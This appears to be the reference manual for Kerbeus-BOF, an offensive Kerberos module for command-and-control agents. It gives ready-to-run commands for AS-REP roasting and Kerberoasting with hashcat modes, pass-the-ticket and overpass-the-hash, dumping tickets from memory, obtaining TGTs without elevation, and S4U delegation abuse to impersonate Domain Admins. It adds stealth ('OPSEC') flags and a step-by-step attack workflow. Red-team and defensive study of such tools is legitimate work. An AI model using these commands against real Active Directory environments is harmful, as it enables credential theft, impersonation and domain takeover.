Kerbeus-BOF — Kerberos
The Kerbeus-BOF module provides a complete set of tools for abusing the Kerberos protocol in Active Directory environments. From roasting attacks for offline cracking to S4U delegation abuse and ticket manipulation.
All commands use the kerbeus prefix with /parameter:value argument syntax.
Compatible agents: Beacon, Gopher, Kharon
Platform: Windows
Roasting Attacks
kerbeus asreproasting
Performs an AS-REP Roasting attack against users with Kerberos pre-authentication disabled (DONT_REQ_PREAUTH).
When to use: During the reconnaissance phase, when you identify users with the DONT_REQ_PREAUTH flag. The obtained hash can be cracked offline with hashcat (mode 18200).
kerbeus asreproasting /user:svc_backup
kerbeus asreproasting /user:svc_backup /dc:DC01.corp.local
kerbeus asreproasting /user:svc_backup /domain:corp.local| Argument | Required | Description |
|---|---|---|
/user:USER | Yes | Target user |
/dc:DC | No | Domain Controller |
/domain:DOMAIN | No | Domain name |
kerbeus kerberoasting
Performs a Kerberoasting attack to obtain the encrypted TGS of a service, crackable offline.
When to use: When you identify service accounts with registered SPNs. The TGS is encrypted with the service account hash, enabling offline cracking with hashcat (mode 13100 for RC4, 19700 for AES).
kerbeus kerberoasting /spn:MSSQLSvc/db01.corp.local:1433
kerbeus kerberoasting /spn:HTTP/web01.corp.local /ticket:doIF8DCCBey...
kerbeus kerberoasting /spn:MSSQLSvc/db01.corp.local /nopreauth:vulnuser /dc:DC01| Argument | Required | Description |
|---|---|---|
/spn:SPN | Yes | Service Principal Name of the target service |
/nopreauth:USER | No | Use AS-REP of a user without pre-auth (no TGT needed) |
/ticket:BASE64 | No | TGT for authentication (if not using current session) |
/dc:DC | No | Domain Controller |
/domain:DOMAIN | No | Domain name |
Ticket Request and Management
kerbeus asktgt
Requests a Ticket Granting Ticket (TGT). Supports multiple authentication methods.
When to use: To obtain a TGT that you can then use to access services. It’s the Kerberos equivalent of “logging in”. Combined with /ptt, it injects the ticket directly into the session.
With password
kerbeus asktgt /user:Administrator /password:P@ssw0rd! /enctype:aes256 /opsec /pttWith AES256 hash (Pass-the-Key)
kerbeus asktgt /user:Administrator /aes256:a1b2c3d4e5f6... /pttWith RC4/NTLM hash (Overpass-the-Hash)
kerbeus asktgt /user:Administrator /rc4:aabbccdd11223344... /pttWithout pre-authentication
kerbeus asktgt /user:vulnuser /nopreauth| Argument | Required | Description |
|---|---|---|
/user:USER | Yes | Username |
/password:PASS | Yes* | Password |
/aes256:HASH | Yes* | AES256 key |
/rc4:HASH | Yes* | NTLM/RC4 hash |
/nopreauth | Yes* | No credentials (pre-auth disabled) |
/domain:DOMAIN | No | Domain |
/dc:DC | No | Domain Controller |
/enctype:TYPE | No | Encryption type (rc4 or aes256) |
/service:SPN | No | SPN to request a TGS directly |
/ptt | No | Pass-the-ticket: inject into current session |
/nopac | No | Don’t include PAC |
/opsec | No | OPSEC mode: stealthier behavior |
* Exactly one of /password, /aes256, /rc4, or /nopreauth is required.
kerbeus asktgs
Requests a Ticket Granting Service (TGS) using an existing TGT.
kerbeus asktgs /service:CIFS/dc01.corp.local /ticket:doIF8DCCBey... /ptt
kerbeus asktgs /service:CIFS/dc01.corp.local,HTTP/dc01.corp.local /ticket:doIF8... /opsec| Argument | Required | Description |
|---|---|---|
/ticket:BASE64 | Yes | TGT in Base64 |
/service:SPN | Yes | Service SPN(s) (comma-separated for multiple) |
/domain:DOMAIN | No | Domain |
/dc:DC | No | Domain Controller |
/enctype:TYPE | No | Encryption type |
/ptt | No | Inject ticket into session |
/opsec | No | OPSEC mode |
/u2u | No | User-to-User |
/dmsa | No | Delegated Managed Service Account |
kerbeus ptt
Imports a Kerberos ticket into the current logon session (Pass-the-Ticket).
kerbeus ptt /ticket:doIF8DCCBey...
kerbeus ptt /ticket:doIF8DCCBey... /luid:0x3ea8| Argument | Required | Description |
|---|---|---|
/ticket:BASE64 | Yes | Base64-encoded ticket |
/luid:ID | No | Logon session ID (defaults to current session) |
kerbeus describe
Parses and describes the fields of a Kerberos ticket.
kerbeus describe /ticket:doIF8DCCBey...kerbeus renew
Renews an existing TGT.
kerbeus renew /ticket:doIF8DCCBey... /pttTicket Listing and Cleanup
kerbeus triage
Lists cached tickets in table format. More readable than klist.
kerbeus triage
kerbeus triage /luid:0x3ea8
kerbeus triage /user:Administratorkerbeus klist
Lists cached tickets with full detail.
kerbeus klist
kerbeus klist /luid:0x3ea8kerbeus dump
Extracts complete tickets (including keys) from memory.
kerbeus dump
kerbeus dump /user:Administrator /service:krbtgtNote:
dumprequires elevated privileges (SYSTEM or equivalent).klistandtriagework without elevation for the current session.
kerbeus purge
Deletes cached tickets from a logon session.
kerbeus purge
kerbeus purge /luid:0x3ea8Utilities
kerbeus hash
Calculates Kerberos keys (RC4, AES128, AES256) from a password.
When to use: To convert a plaintext password into the different Kerberos hash formats needed for asktgt.
kerbeus hash /password:P@ssw0rd!
kerbeus hash /password:P@ssw0rd! /user:Administrator /domain:corp.local| Argument | Required | Description |
|---|---|---|
/password:PASS | Yes | Password |
/user:USER | No | Username (affects AES salt calculation) |
/domain:DOMAIN | No | Domain (affects AES salt) |
kerbeus changepw
Changes a user’s password using a valid TGT.
kerbeus changepw /ticket:doIF8DCCBey... /new:N3wP@ss!kerbeus tgtdeleg
Obtains a usable TGT for the current user without elevation by abusing the Kerberos GSS-API.
When to use: When you need an exportable TGT for the current user but don’t have administrative privileges to dump. This trick uses application delegation to obtain a reusable ticket.
kerbeus tgtdeleg
kerbeus tgtdeleg /target:CIFS/dc01.corp.localDelegation Abuse
kerbeus s4u
Abuses Constrained Delegation via S4U2Self + S4U2Proxy to impersonate a user against a service.
When to use: When you compromise an account configured for constrained delegation (msDS-AllowedToDelegateTo). You can impersonate any user (including Domain Admins) against the allowed services.
kerbeus s4u /ticket:doIF8DCCBey... /impersonateuser:Administrator /service:CIFS/fileserver.corp.local /ptt
kerbeus s4u /ticket:doIF8DCCBey... /impersonateuser:Administrator /service:HTTP/web01.corp.local /altservice:CIFS /ptt| Argument | Required | Description |
|---|---|---|
/ticket:BASE64 | Yes | TGT of the account with delegation |
/service:SPN | Yes | Target service SPN |
/impersonateuser:USER | Yes* | User to impersonate |
/tgs:BASE64 | Yes* | Existing TGS (alternative to impersonateuser) |
/altservice:SVC | No | Alternative service (to change the ticket’s service) |
/ptt | No | Inject into session |
/nopac | No | Without PAC |
/opsec | No | OPSEC mode |
/self | No | S4U2Self only |
kerbeus cross_s4u
Same as s4u but for cross-domain delegation.
kerbeus cross_s4u /ticket:doIF8DCCBey... /impersonateuser:Administrator /targetdomain:child.corp.local /targetdc:dc.child.corp.local /service:CIFS/server.child.corp.local| Additional Argument | Required | Description |
|---|---|---|
/targetdomain:DOMAIN | Yes | Target domain |
/targetdc:DC | Yes | Target domain DC |
Typical Workflow
# Reconnaissance
kerbeus triage → View cached tickets
kerbeus tgtdeleg → Get TGT without elevation
# Roasting
kerbeus asreproasting /user:svc_backup → AS-REP Roast
kerbeus kerberoasting /spn:MSSQLSvc/... → Kerberoast
# Pass-the-Hash/Key
kerbeus hash /password:P@ss → Get Kerberos hashes
kerbeus asktgt /user:admin /rc4:HASH /ptt → Overpass-the-hash
# Delegation
kerbeus s4u /ticket:... /impersonateuser:Administrator /service:CIFS/... /ptt